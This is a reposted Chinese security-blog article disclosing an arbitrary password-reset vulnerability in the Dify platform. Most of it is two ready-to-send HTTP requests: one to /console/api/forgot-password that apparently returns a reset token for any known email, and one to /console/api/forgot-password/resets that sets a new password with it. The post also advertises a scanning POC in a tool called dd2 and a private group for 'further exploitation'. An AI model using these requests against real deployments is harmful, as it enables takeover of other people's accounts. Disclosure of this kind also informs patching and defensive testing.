Dify任意账号密码重置

admin 2026-04-10 01:58:29 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档披露Dify系统存在任意账号密码重置漏洞,攻击者仅需知晓目标邮箱即可通过/api/forgot-password接口获取token,继而利用/resets端点修改密码。文章提供完整HTTP请求示例并提示dd2工具已集成扫描能力,建议开发者加强身份验证机制。 综合评分: 76 文章分类: 漏洞分析,WEB安全,渗透测试,安全工具,漏洞预警


cover_image

Dify任意账号密码重置

安全艺术 安全艺术

安全艺术

2026年4月9日 10:18 北京

需要知道邮箱账号才可以

POST /console/api/forgot-password HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Content-Length: 50

{"email":"[email protected]","language":"zh-Hans"}

邮箱正确后返回data,也就是token

邮箱不对则返回

根据返回的data去重置密码即可

POST /console/api/forgot-password/resets HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Content-Length: 110

{"token":"xxxxxx","new_password":"admin123456","password_confirm":"admin123456"}

dd2已集成扫描POC,可配合内部知识库进一步利用

对工具和知识库感兴趣的师傅们可以加入我的小圈子哈


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全艺术 安全艺术 安全艺术《Dify任意账号密码重置》

评论:0   参与:  0